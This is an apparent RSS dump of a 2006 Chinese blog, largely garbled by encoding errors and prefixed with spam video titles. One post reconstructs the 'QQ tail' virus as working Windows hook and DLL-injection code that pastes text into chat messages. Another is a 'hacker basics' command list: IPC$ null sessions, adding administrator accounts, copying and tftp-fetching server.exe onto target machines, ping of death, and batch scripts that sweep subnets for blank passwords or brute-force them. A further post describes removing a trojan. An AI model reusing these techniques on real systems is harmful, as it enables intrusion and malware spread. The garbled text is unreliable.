??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲视频人成在线播放,国产亚洲精品影视在线产品,国产亚洲精品AA片在线观看不加载http://www.tkk7.com/computerboy/archive/2006/12/24/89784.htmlComputerboyComputerboySun, 24 Dec 2006 13:03:00 GMThttp://www.tkk7.com/computerboy/archive/2006/12/24/89784.htmlhttp://www.tkk7.com/computerboy/comments/89784.htmlhttp://www.tkk7.com/computerboy/archive/2006/12/24/89784.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/89784.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/89784.html
下面我将要讨论的Q就是QQַ病毒使用的这一技术。由于病毒的源代码无法获得,所以以下的代码全是我主观臆断所得,所q的是效果基本与病毒本n一致?
_脓ַ

首先的一个最单的问题是如何添加文本。这一技术毫无秘密可aQ就是通过剪脓板向QQ消息的那个RichEdit“脓”上一句话而已。代码如下:
TCHAR g_str[] = "Ƣ迎来我的小站坐坐:www.stonecn.org    or  www.tkk7.com/computerboy";
// 函数功能Q向文本框中_脓ַ
void PasteText(HWND hRich)
{
HGLOBAL hMem;
LPTSTR pStr;
// 分配内存I间
hMem = GlobalAlloc(GHND | GMEM_SHARE, sizeof(g_str));
pStr = GlobalLock(hMem);
lstrcpy(pStr, g_str);
GlobalUnlock(hMem);
OpenClipboard(NULL);
EmptyClipboard();
// 讄剪脓板文?
SetClipboardData(CF_TEXT, hMem);
CloseClipboard();
// 释放内存I间
GlobalFree(hMem);
// _脓文本
SendMessage(hRich, WM_PASTE, 0, 0);
}

钩子

  好了Q那么下面的问题是,q段文本应该在什么时候脓呢?|上有一些研IQQַ实现的文章指出,可以用计时器来控制粘贴的旉Q类D个样子:
void CQQTailDlg::OnTimer(UINT nIDEvent)
{
PasteText(hRich);
}
  q的是一U解决的手段Q然而它也存在着极大的局限性——计时器的间隔如何设|?也许中毒者正在打字,ַ文本“唰”的出现了…?
  然而病毒本w却不是q样子,它能够准地在你单击“发送”或按下Ctrl+Enter键的时候将文本_脓上?003q?月䆾我的一台P2曄中过毒,׃pȝ速度较慢Q所以可以很清楚地看见文本粘贴的时机?
  讲到q里Q我所陈述的这些事实一定会让n者的你说Q钩子!——对Q就是钩子,下面我所说的正是用钩子来真实地再现“QQַ病毒”的q一技术?
  首先我对钩子做一个简要的介绍Q已l熟悉钩子的朋友们可以蟩q这一Dc所谓Win32钩子QhookQƈ不是铁钩舚w那只人工再现的手臂,而是一D子E序Q它可以用来监视、检系l中的特定消息,q完成一些特定的功能。打个比Ҏ_你的E序是皇帝,Windowspȝ充当各省的E抚;至于钩子Q则可以是皇上的一个钦差。譬如皇帝下旨在全国收税Q然后派了一个钦差找到山西E抚说Q“皇上有旨,p除正常赋E外Q加收杏花村酒十坛。”(-_-#……)正如皇帝可以用这U方法来Ҏ对待特定的E抚一PE序员也可以用钩子来捕获处理Windowspȝ中特定的消息?
  问题具体C“QQַ病毒”上边,是我们需要一个钩子,在用户单M“发送”按钮之后,_脓我们的文本。我所实现的这D钩子过EؓQ至于如何挂接这个钩子,我会在稍后说明)Q?
// 钩子q程Q监视“发送”的命o消息
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
// 捕获“发送”按?
if (p->message == WM_COMMAND && LOWORD(p->wParam) == 1)
  PasteText(g_hRich);
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
  在此我对q个回调q程说明几点Q?
  1、lParam是一个指向CWPSTRUCTl构的指针,q个l构的描q如下:
typedef struct {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT;
  q时候像我一LSDK fans也许会会心一W:q不是窗口回调的那四个铁杆参CQ如你所_的确是这P你甚臛_以用switch (p->message) { /* ... */ }q样的代码写成的钩子函数来全面接QQH口?
  2、g_hRich是一个全局变量Q它保存的是QQ消息文本框的句柄。这里之所以采用全局变量Q是因ؓ我无法从键盘钩子回调函数的参C获得q个句柄。至于如何获得这个句柄以及这个全局变量的特D位|,我会在稍后说明?
  3、CallNextHookEx是调用钩子链中的下一个处理过E,换了钦差׃_“十坛杏花村酒本钦差已经替皇上收下了Q现在请巡抚大h把贵省正常的赋税交上来吧。”(-_-#……)q是书写钩子函数中很重要的一个环节,如果了q一句,那么可能会导致系l的钩子铑և现错误,某些E序也会没有响应 ——事实上我在~写q个仿真E序的时候QQ当掉了几回?
  4、你也许会问Z么我捕获的是WM_COMMAND消息Q这个原因让我来用下面的SDK代码Q虽然QQ是用MFC写的Q但是用SDK代码才能说明WM_COMMAND和“发送”按钮的关系Q来说明Q?
#define IDC_BTN_SENDMSG 1 // “发送”按钮ID的宏定义
// QQ发送消息对话框回调q程·李马伪造版
LRESULT CALLBACK ProcSendDlg(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam)
{
switch (Msg)
{
case WM_CLOSE:
  EndDialog(hDlg, 0);
  break;
case WM_COMMAND:
  {
   switch (LOWORD(wParam))
   {
   case IDC_BTN_SENDMSG:
    // 发送消?..
    break;
   // 其它的命令按钮处理部?..
  }
}
break;
// 其它的case部分...
}
return 0;
}
  消息发送的整个q程是:当用户单M“发送”按钮后Q这个按钮的父窗口(也就是“发送消息”的对话框)会收C条WM_COMMAND的通知消息Q其?wParam的低位字Q即LOWORD(wParam)Qؓq个按钮的IDQ然后再调用代码中发送的部分Q这个过E如下图Q?

  所以,在此我捕获WM_COMMAND消息要比捕获其它消息或挂接鼠标钩子要有效得多?
  好了Q现在这个钩子已l可以胜利地完成d了。但是请不要忘记Q有更多的用h偏爱于用“Ctrl+Enter”热键来发送消息,所以程序中q需要挂上一个键盘钩子:
// 键盘钩子q程Q监视“发送”的热键消息
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
// 捕获热键消息
if (wParam == VK_RETURN && GetAsyncKeyState(VK_CONTROL) < 0 && lParam >= 0)
  PasteText(g_hRich);
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
  在这里唯一要解释的一点就是lParam >= 0子句。很明显q个if判断是在判断热键Ctrl+Enter的输入,那么lParam >= 0又是什么呢Q事实上在键盘钩子的回调之中QlParam是一个很重要的参敎ͼ它包含了击键的重复次数、扫描码、扩展键标志{等的信息。其中lParam 的最高位Q?x80000000Q则表示了当前这个键是否被按下,如果q个位正在被按下Q这个位是0Q反之ؓ1。所以lParam >= 0的意思就是在WM_KEYDOWN的时候调用PasteTextQ也是_如果Lq个条gQPasteText会被调用两ơ(q同 WM_KEYUP的一ơ)?

挂接钩子和查扄?

  接下来就是如何挂接这两个钩子了。对于挂接钩子,要解决的问题是:往哪里挂接钩子Q以及如何挂接?
  挂接钩子的目标,肯定是QQ“发送信息”窗口的所属线E。我的代码就是将q个H口的句柄传入之后来q行钩子的挂接:
// 挂接钩子
BOOL WINAPI SetHook(HWND hQQ)
{
BOOL bRet = FALSE;
if (hQQ != NULL)
{
  DWORD dwThreadID = GetWindowThreadProcessId(hQQ, NULL);
  // 感谢好友hottey的查找代码,省去了我使用Spy++的麻?
  g_hRich = GetWindow(GetDlgItem(hQQ, 0), GW_CHILD);
  if (g_hRich == NULL)
   return FALSE;
  // 挂接钩子
  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
  bRet = (g_hProc != NULL) && (g_hKey != NULL);
}
else
{
  // 卸蝲钩子
  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
  g_hProc = NULL;
  g_hKey = NULL;
  g_hRich = NULL;
}
return bRet;
}
  到此为止Q以上所有的代码都位于一个Hook.dll的动态链接库之中Q关于DLL我就不多介绍了,h阅MSDN上的相关资料和本文的配套源代码?
  DLL之中已经做好了所有重要的工作Q事实上q部分工作也只能由DLL来完成,q是由Windows虚拟内存机制军_的)Q我们只需要在EXE之中调用导出的SetHook函数可以了。那么,SetHook的参数如何获得呢Q请看以下代码:
// 感谢好友hottey的查找代码,省去了我使用Spy++的麻?
HWND hSend;
g_hQQ = NULL;
SetHook(NULL);
do
{
g_hQQ = FindWindowEx(NULL, g_hQQ, "#32770", NULL);
hSend = FindWindowEx(g_hQQ, NULL, "Button", "发?&S)");
} while(g_hQQ != NULL && hSend == NULL);
if (g_hQQ != NULL)
SetHook(g_hQQ);
  q段代码中的do-while循环是用来查找“发送消息”的H口的,QQH口的保密性越来越ZQ窗口一层套一层,找v来十分不便,所以在此感谢好?hottey的《QQ消息炸弹随想》一文省M我反复用Spy++的麻烦。我所做的Q只是把他文中的Delphi代码译成了C代码?

DLL的共享数据段

  如果你对DLL不甚了解Q那么在你读到我的配套源代码之后Q肯定会对下面这一D代码有些疑问:
// 定义׃n数据D?
#pragma data_seg("shared")
HHOOK g_hProc = NULL; // H口q程钩子句柄
HHOOK g_hKey = NULL; // 键盘钩子句柄
HWND g_hRich = NULL; // 文本框句?
#pragma data_seg()
#pragma comment(linker, "/section:shared,rws")
  q定义了一D共享的数据D,是的Q因为我的注释已l写得很清楚了,那么׃n数据DvC什么作用呢Q在回答q个问题之前Q我请你把代码中?开头的预处理指令注释掉然后重新~译q个DLLq运行,你会发现什么?
  是的Q添加尾巴失败!
  好了Q我来解释一下这个问题。我们的q个仿真E序的EXE、DLL以及QQ的主E序事实上是下面q样一U关p:

  q个DLL需要将一个实例映到EXE的地址I间之中以供其调用,q需要将另一个实例映到QQ的地址I间之中来完成挂接钩子的工作。也是_当钩子挂接完毕之后,整个pȝ的模块中Q有两个DLL实例的存在!此DLL非彼DLL也,所以它们之间是没有M联系的。拿全局变量g_hRich来说Q图中左边的DLL通过EXE的传入获得了文本框的句柄Q然而如果没有共享段的话Q那么右边的DLL中,g_hRich仍然是NULL。共享段于此的意义也׃现出来了Q就是ؓ了保证EXE、DLL、QQ三者之间的联系。这一点,和C++中static的成员变量有些相伹{?
  在钩子挂接成功之后,你可以通过一些有模块查看功能的进E管理器看一看,׃发现Hook.dll也位于QQ.exe的模块之中?

最后一些要说的
那个病毒我曾l是手杀的——用了一个进E查看工具就杀掉了。但是现在的“QQַ”增加了复活功能——在EXE被杀掉后QDLL会将其唤醒。我曄用我的进E查看工具分析过Q发现系l中几乎所有的q程都被病毒的DLL挂住了。这一技术是利用CreateRemoteThread在所有的q程上各插入了一个额外的复活U程Q真可谓是一石二鸟——保证EXE永远q行Q同时这个正在用中的DLL是无法被删除的。这一技术我也已l实CQ但是稳定性方面远不及病毒本n做得优秀Q故在此也就不将其写ZQ有兴趣的朋友可以参考Jeffrey Richter《Windows核心~程》的相关章节?



Computerboy 2006-12-24 21:03 发表评论
]]>
一个顽固型病毒 Auto or sxs.exehttp://www.tkk7.com/computerboy/archive/2006/12/05/85542.htmlComputerboyComputerboyTue, 05 Dec 2006 04:40:00 GMThttp://www.tkk7.com/computerboy/archive/2006/12/05/85542.htmlhttp://www.tkk7.com/computerboy/comments/85542.htmlhttp://www.tkk7.com/computerboy/archive/2006/12/05/85542.html#Feedback1http://www.tkk7.com/computerboy/comments/commentRss/85542.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/85542.html
q是一个比较顽固的病毒Q确切的说是木马Q,专门盗取别h的QQZQ?br />古h云:我的产业岂能׃人支配乎Q嘿ѝ?br />昨天在家里调试\由,能上|了Q大安兴异常,用哥们的Ud盘不小心中招?br />今天上班发现x除之Q岂知它比较固Qd电脑里常驅R?br />一开始我以ؓ是一个AutoQ也没有大的威胁Q岂知我在显C所有文件时Z问题Q?br />居然看不到它的位|。我在显C,发现他不能显C所有文Ӟ每次都自动的l你q原回去?br />
q我才发现问题的严重性,上网找了一下,说的也很多。没有具体的Ҏ?br />没有办法Q自己来吧?br />
不过发现有这样一条信息还是不错的。就是说
在系l注册表有一个值是被改动的
CheckedValue
q去看一?br />q行——regedit

HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALLQ?br />发现CheckedValue值是0Q我们知道,q个值是控制pȝ所有文件是否显C,0 Z昄Q? 为显C?br />看来果然是它的问题,删除之,重新建立一个?br />但是我徏立CheckedValue 时发现系l提C已l有一个存在,无法新徏Q但是我已经删除了?br />看来q是有问题,
q入
HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>CurrentVersion>Run
下发现有一个值很可疑?br />uyanyh
它的地址是指向?c:\windows\system32\lienrn.exe
删除之,但是问题又来了。删除之后,它有自动出现一个,改名之后q是会自动出C个?br />怪事q年有,今年特别多?br />没有办法Q找q个值吧?br />uyanyh 搜烦注册表。终于发现它的踪q,删除之。然后按照以上方式,
新徏一个CheckedValue 的Dword值?Qgؓ1
q样pȝl于能显CZ。把 sxs.exe  ?autorun.inf。删除。系l正怺?br />虽然表面上看g个简单的东西Q但是却p了我一个半时的时间?br />


Computerboy 2006-12-05 12:40 发表评论
]]>
黑客基础之最全的DOS命ohttp://www.tkk7.com/computerboy/archive/2006/05/12/45836.htmlComputerboyComputerboyFri, 12 May 2006 06:26:00 GMThttp://www.tkk7.com/computerboy/archive/2006/05/12/45836.htmlhttp://www.tkk7.com/computerboy/comments/45836.htmlhttp://www.tkk7.com/computerboy/archive/2006/05/12/45836.html#Feedback0http://www.tkk7.com/computerboy/comments/commentRss/45836.htmlhttp://www.tkk7.com/computerboy/services/trackbacks/45836.html我写q些东西不是Z叫大家怎样d别h的机器,只是惌大家知道QDOSq有很多我们不知道的东西Q我永远坚信学无止境Q!Q!

net use  \\ip\ipc$ " " /user:" " 建立IPCI链?
net use  \\ip\ipc$ "密码" /user:"用户? 建立IPC非空链接
net use h:  \\ip\c$ "密码" /user:"用户? 直接登陆后映对方CQ到本地为H:
net use h:  \\ip\c$ 登陆后映对方CQ到本地为H:
net use  \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射Ҏ到本地的为H:的映?
net user 用户名 密码 /add 建立用户
net user guest /active:yes Ȁzguest用户
net user 查看有哪些用?
net user 帐户?查看帐户的属?
net localgroup administrators 用户?/add 把“用户”添加到理员中使其h理员权?注意Qadministrator后加s用复?
net start 查看开启了哪些服务
net start 服务名  开启服务;(?net start telnetQ?net start schedule)
net stop 服务?停止某服?
net time \\目标ip 查看Ҏ旉
net time \\目标ip /set 讄本地计算机时间与“目标IP”主机的旉同步,加上参数/yes可取消确认信?
net view 查看本地局域网内开启了哪些׃n
net view \\ip 查看Ҏ局域网内开启了哪些׃n
net config 昄pȝ|络讄
net logoff 断开q接的共?
net pause 服务?暂停某服?
net send ip "文本信息" 向对方发信息
net ver 局域网内正在用的|络q接cd和信?
net share 查看本地开启的׃n
net share ipc$ 开启ipc$׃n
net share ipc$ /del 删除ipc$׃n
net share c$ /del 删除CQ共?
net user guest 12345 用guest用户登陆后用密码改?2345
net password 密码 更改pȝ登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网l连接情况,常用netstat -an
netstat -v 查看正在q行的工?
netstat -p 协议?例:netstat -p tcq/ip 查看某协议用情况(查看tcp/ip协议使用情况Q?
netstat -s 查看正在使用的所有协议用情?
nbtstat -A ip Ҏ136?39其中一个端口开了的话,可查看Ҏ最q登陆的用户名(03前的为用户名Q?注意Q参?A要大?
tracert -参数 ip(或计机? 跟踪路由Q数据包Q,参数Q?w数字”用于设|超旉隔?
ping ip(或域? 向对方主机发送默认大ؓ32字节的数据,参数Q?l[I格]数据包大”;?n发送数据次数”;?t”指一直ping?
ping -t -l 65550 ip M之ping(发送大?4K的文件ƈ一直ping成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址Qipconfig可用参数?all”显C全部配|信?
tlist -t 以树行列表显CE?为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
kill -F q程??F参数后强制结束某q程(为系l的附加工具Q默认是没有安装的,在安装目录的Support/tools文g夹内)
del -F 文g??F参数后就可删除只L?/AR?AH?AS?AA分别表示删除只读、隐藏、系l、存文Ӟ/A-R?A-H?A-S?A-A表示删除除只诅R隐藏、系l、存以外的文g。例如“DEL/AR *.*”表C删除当前目录下所有只LӞ“DEL/A-S *.*”表C删除当前目录下除系l文件以外的所有文?

del /S /Q 目录 或用Qrmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时用参?Q 可取消删除操作时的系l确认就直接删除。(二个命o作用相同Q?
move 盘符\路径\要移动的文g名 存放Ud文g的\径\Ud后文件名 Ud文g,用参?y取消确认移动目录存在相同文件的提示q接覆?
fc one.txt two.txt > 3st.txt Ҏ二个文gq把不同之处输出?st.txt文g中,"> "?> >" 是重定向命o
at id?开启已注册的某个计划Q?
at /delete 停止所有计划Q务,用参?yes则不需要确认就直接停止
at id?/delete 停止某个已注册的计划d
at 查看所有的计划d
at \\ip time E序?或一个命? /r 在某旉q行Ҏ某程序ƈ重新启动计算?
finger username @host 查看最q有哪些用户登陆
telnet ip 端口 q和登陆服务?默认端口?3
open ip q接到IPQ属telnet登陆后的命oQ?
telnet 在本Z直接键入telnet 进入本机的telnet
copy 路径\文g? 路径\文g? /y 复制文g1到指定的目录为文?Q用参数/y同时取消确认你要改写一份现存目录文?
copy c:\srv.exe  \\ip\admin$ 复制本地c:\srv.exe到对方的admin?
cppy 1st.jpg/b+2st.txt/a 3st.jpg ?st.txt的内容藏w到1st.jpg中生?st.jpg新的文gQ注Q?st.txt文g?br />要空三排Q参敎ͼ/b指二q制文gQ?a指ASCLL格式文g
copy $\svv.exe">\\ip\admin$\svv.exe c:\ ?copy\\ip\admin$\*.* 复制Ҏadmini$׃n下的srv.exe文g
Q所有文Ӟx地CQ?
xcopy 要复制的文g或目录树 目标地址\目录?复制文g和目录树Q用参数/Y不提示覆盖相同文g
tftp -i 自己IP(用肉Zx时这用肉机IP) get server.exe c:\server.exe 登陆后,“IP”的server.exe下蝲到目标主机c:\server.exe 参数Q?i指以二进制模式传送,如传送exe文g时用Q如不加-i 则以ASCII模式
Q传送文本文件模式)q行传?
tftp -i ҎIP put c:\server.exe 登陆后,上传本地c:\server.exe至主?
ftp ip 端口 用于上传文gx务器或进行文件操作,默认端口?1。bin指用二进制方式传?br />Q可执行文gq)Q默认ؓASCII格式传?文本文g?
route print 昄出IP路由Q将主要昄|络地址Network addresQ子|掩码NetmaskQ?br />|关地址Gateway addresQ接口地址Interface
arp 查看和处理ARP~存QARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址?br />arp -a显C出全部信息
start E序名或命o /max ?min 新开一个新H口q最大化Q最化Q运行某E序或命?
mem 查看cpu使用情况
attrib 文g?目录? 查看某文Ӟ目录Q的属?
attrib 文g?-A -R -S -H ?+A +R +S +H L(d)某文件的 存档Q只读,pȝQ隐?属性;
用+则是d为某属?
dir 查看文gQ参敎ͼ/Q昄文g及目录属pȝ哪个用户Q?T:C昄文g创徏旉Q?br />/T:A昄文g上次被访问时_/T:W上次被修Ҏ?
date /t ?time /t 使用此参数即“DATE/T”、“TIME/T”将只显C当前日期和旉Q?br />而不必输入新日期和时?
set 指定环境变量名称=要指z变量的字W?讄环境变量
set 昄当前所有的环境变量
set p(或其它字W? 昄出当前以字符p(或其它字W?开头的所有环境变?
pause 暂停批处理程序,q显C出Q请按Q意键l箋....
if 在批处理E序中执行条件处理(更多说明见if命o及变量)
goto 标签 cmd.exe导向到批处理E序中带标签的行Q标{ֿd独一行,且以冒号打头Q例如:“:start”标{)
call 路径\批处理文件名 从批处理E序中调用另一个批处理E序 Q更多说明见call /?Q?
for 对一l文件中的每一个文件执行某个特定命令(更多说明见for命o及变量)
echo on或off 打开或关闭echoQ仅用echo不加参数则显C当前echo讄
echo 信息 在屏q上昄Z?
echo 信息 >> pass.txt ?信息"保存到pass.txt文g?
findstr "Hello" aa.txt 在aa.txt文g中寻扑֭W串hello
find 文g?查找某文?
title 标题名字 更改CMDH口标题名字
color 颜色?讄cmd控制台前景和背景颜色Q?Q黑?Q蓝?Q绿?Q浅lѝ?Q红?Q?Q黄?=白?=灰?=淡蓝、AQElѝB=淡浅lѝC=淡红、D=淡、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显C的命o提示W?把C:\、D:\l一改ؓQEntSky\ )
print 文g?打印文本文g

ver 在DOSH口下显C版本信?
winver 弹出一个窗口显C版本信息(内存大小、系l版本、补丁版本、计机名)
format 盘符 /FS:cd 格式化磁?cd:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录?创徏目录
replace 源文件 要替换文件的目录 替换文g
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显C出目录Q用参数-f 列出第个文件夹中文件名U?
type 文g?昄文本文g的内?
more 文g?逐屏昄输出文g
doskey 要锁定的命oQ字W?
doskey 要解锁命? 为DOS提供的锁定命?~辑命o行,重新调用win2k命oQƈ创徏??br />如:锁定dir命oQdoskey dir=entsky (不能用doskey dir=dir)Q?br />解锁Qdoskey dir=
taskmgr 调出d理?
chkdsk /F D: 查磁盘Dq显C状态报告;加参?fq修复磁盘上的错?
tlntadmn telnt服务admn,键入tlntadmn选择3Q再选择8,可以更改telnet服务默认端口23为其它Q何端?
exit 退出cmd.exeE序或目前,用参?B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文g?为可执行文g讄一个\径?
cmd 启动一个win2K命o解释H口。参敎ͼ/eff?en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无Q何提C;
regedit /e 注册表文件名 导出注册?
cacls 文g名 参数 昄或修Ҏ件访问控制列表(ACLQ——针对NTFS格式时。参敎ͼ/D 用户?讑֮拒绝某用戯问;/P 用户?perm 替换指定用户的访问权限;/G 用户?perm 赋予指定用户讉K权限QPerm 可以? N 无,R dQ?W 写入Q?C 更改(写入)QF 完全控制Q例Qcacls D:\test.txt /D pub 讑֮d:\test.txt拒绝pub用户讉K?
cacls 文g?查看文g的访问用h限列?
REM 文本内容 在批处理文g中添加注?
netsh 查看或更Ҏ地网l配|情?

IIS服务命oQ?
iisreset /reboot 重启win2k计算机(但有提示pȝ重启信息出玎ͼ
iisreset /start或stop 启动Q停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 昄所有Internet服务状?
iisreset /enable或disable 在本地系l上启用Q禁用)Internet服务的重新启?
iisreset /rebootonerror 当启动、停止或重新启动Internet服务Ӟ若发生错误将重新开?
iisreset /noforce 若无法停止Internet服务Q将不会强制l止Internet服务
iisreset /timeout Val在到N时_U)Ӟ仍未停止Internet服务Q若指定/rebootonerror参数Q?br />则电脑将会重新开机。预讑րgؓ重新启动20U,停止60U,重新开?U?
FTP 命oQ?(后面有详l说明内?
ftp的命令行格式?
ftp Qv Qd Qi Qn Qg[L名] Qv 昄q程服务器的所有响应信息?
Qd 使用调试方式?
Qn 限制ftp的自动登?即不使用.netrc文g?
Qg 取消全局文g名?
help [命o] ?Q[命o] 查看命o说明
bye ?quit l止LFTPq程,q出FTP理方式.
pwd 列出当前q端L目录
put ?send 本地文g?[上传CZ的文件名] 本C个文件传送至q端L?
get ?recv [q程L文g名] [下蝲到本地后的文件名] 从远端主Z传送至本地L?
mget [remote-files] 从远端主机接收一Ҏ件至本地L
mput local-files 本CZ一Ҏ件传送至q端L
dir ?ls [remote-directory] [local-file] 列出当前q端L目录中的文g.如果有本地文?
将l果写至本地文g
ascii 讑֮以ASCII方式传送文?~省?
bin ?image 讑֮以二q制方式传送文?
bell 每完成一ơ文件传?报警提示
cdup q回上一U目?
close 中断与远E服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连?可指定连接端?
delete 删除q端L中的文g
mdelete [remote-files] 删除一Ҏ?
mkdir directory-name 在远端主Z建立目录
rename [from] [to] 改变q端L中的文g?
rmdir directory-name 删除q端L中的目录
status 昄当前FTP的状?
system 昄q端Lpȝcd
user user-name [password] [account] 重新以别的用户名dq端L
open host [port] 重新建立一个新的连?
prompt 交互提示模式
macdef 定义宏命?
lcd 改变当前本地L的工作目?如果~省,p{到当前用LHOME目录
chmod 改变q端L的文件权?
case 当ؓON?用MGET命o拯的文件名到本地机器中,全部转换为小写字?
cd remoteQdir q入q程L目录
cdup q入q程L目录的父目录
! 在本地机中执行交互shellQexit回到ftp环境,?lsQ?zip

MYSQL 命oQ?
mysql -hL地址 -u用户?Qp密码 q接MYSQL;如果刚安装好MYSQLQ超U用户root是没有密码的?
Q例Qmysql -h110.110.110.110 -Uroot -P123456
?u与root可以不用加空|其它也一P
exit 退出MYSQL
mysqladmin -u用户?-p旧密?password 新密?修改密码
grant select on 数据?* to 用户名@dL identified by \"密码\"; 增加新用戗(注意Q和上面不同Q下面的因ؓ是MYSQL环境中的命oQ所以后面都带一个分号作为命令结束符Q?
show databases; 昄数据库列表。刚开始时才两个数据库Qmysql和test。mysql库很重要它里面有MYSQL的系l信息,我们改密码和新增用户Q实际上是用这个库q行操作?
use mysqlQ?
show tables; 昄库中的数据表
describe 表名; 昄数据表的l构
create database 库名; 建库
use 库名Q?
create table 表名 (字段讑֮列表)Q?
drop database 库名;
drop table 表名Q?删库和删?
delete from 表名; 表中记录清I?
select * from 表名; 昄表中的记?
mysqldump --opt school>school.bbb 备䆾数据库:Q命令在DOS?a href="file://mysql//bin">\\mysql\\bin目录下执行);注释:数据库school备䆾到school.bbb文gQschool.bbb是一个文本文Ӟ文g名Q取,打开看看你会有新发现?
win2003pȝ下新增命令(实用部䆾Q:
shutdown /参数 关闭或重启本地或q程L?
参数说明Q?S 关闭LQ?R 重启LQ?/T 数字 讑֮延时的时_范围0?80U之_ /A取消开机,/M //IP 指定的远E主机?
例:shutdown /r /t 0 立即重启本地LQ无延时Q?
taskill /参数 q程名或q程的pid l止一个或多个d和进E?
参数说明Q?PID 要终止进E的pid,可用tasklist命o获得各进E的pidQ?IM 要终止的q程的进E名Q?br />/F 强制l止q程Q?T l止指定的进E及他所启动的子q程?
tasklist 昄当前q行在本地和q程L上的q程、服务、服务各q程的进E标识符(PID)?
参数说明Q?M 列出当前q程加蝲的dll文gQ?SVC 昄出每个进E对应的服务Q?br />无参数时只列出当前的进E?

Linuxpȝ下基本命令: 要区分大写
uname 昄版本信息Q同win2K?verQ?
dir 昄当前目录文g,ls -al 昄包括隐藏文gQ同win2K?dirQ?
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录,注意cd ?.之间有空根{cd /q回到根目录?
cat 文g?查看文g内容
cat >abc.txt 往abc.txt文g中写上内宏V?
more 文g?以一一늚方式昄一个文本文件?
cp 复制文g
mv Ud文g
rm 文g?删除文gQrm -a 目录名删除目录及子目?
mkdir 目录?建立目录
rmdir 删除子目录,目录内没有文?
chmod 讑֮档案或目录的存取权限
grep 在案中查找字符?
diff 档案文g比较
find 案搜寻
date 现在的日期、时?
who 查询目前和你使用同一台机器的Z及Login旉地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名U?
groups 查看某h的Group
passwd 更改密码
history 查看自己下过的命?
ps 昄q程状?
kill 停止某进E?
gcc 黑客通常用它来编译C语言写的文g
su 权限转换为指定用?
telnet IP telnetq接ҎLQ同win2KQ,当出现bash$时就说明q接成功?
ftp ftpq接上某服务器(同win2KQ?

附:批处理命令与变量

1Qfor命o及变?基本格式Q?
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数Q如Q?i Q而指定一个变量则用:%%i Q而调用变量时用:%i% Q?br />变量是区分大写的(%i 不等?%IQ?
批处理每ơ能处理的变量从%0?9?0个,其中%0默认l批处理文g名用,%1默认Z用此批处理时输入的的W一个|同理Q?2?9指输入的W?-9个|例:net use  \\ip\ipc$ pass /user:user
中ip?1,pass?2 ,user?3

(set):指定一个或一l文Ӟ可用通配W,如:(D:\user.txt)?1 1 254)(1 -1 254),{?1 1 254)?br />W一?1"指v始|W二?1"指增镉KQ第三个"254"指结束|卻I??54Q?1 -1 254)?br />说明Q即?54?}

commandQ指定对W个文g执行的命令,如:net use命oQ如要执行多个命令时Q命令这间加Q?amp; 来隔开
command_parametersQؓ特定命o指定参数或命令行开?

IN (set)Q指?set)中取|DO command Q指执行command

参数Q?L 指用增量形式{(set)为增量Ş式时}Q?F 指从文g中不断取|直到取完为止{(set)为文件时Q如(d:\pass.txt)时}?
用法举例Q?
@echo off
echo 用法格式Qtest.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命o成功完成" >>test.txt
存ؓtest.bat 说明Q对指定的一个CcȝD늚254个IP依次试徏立administrator密码为空的IPC$q接Q如果成功就把该IP存在test.txt中?

/L指用增量形式Q即?-254?54-1Q;输入的IP前面三位Q?.*.*为批处理默认?%1Q?%G 为变?ip的最后一位)Q?amp; 用来隔开echo 和net use q二个命令;| 指徏立了ipc$后,在结果中用find查看是否?命o成功完成"信息Q?1.%%G 为完整的IP地址Q?1 1 254) 指v始|增长量,l止倹{?
@echo off
echo 用法格式Qok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存ؓQok.exe 说明Q输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码Q直到文件中值取完ؓ止?%i为用户名Q?1入的IP地址Q默认)?/p>

Computerboy 2006-05-12 14:26 发表评论
]]>
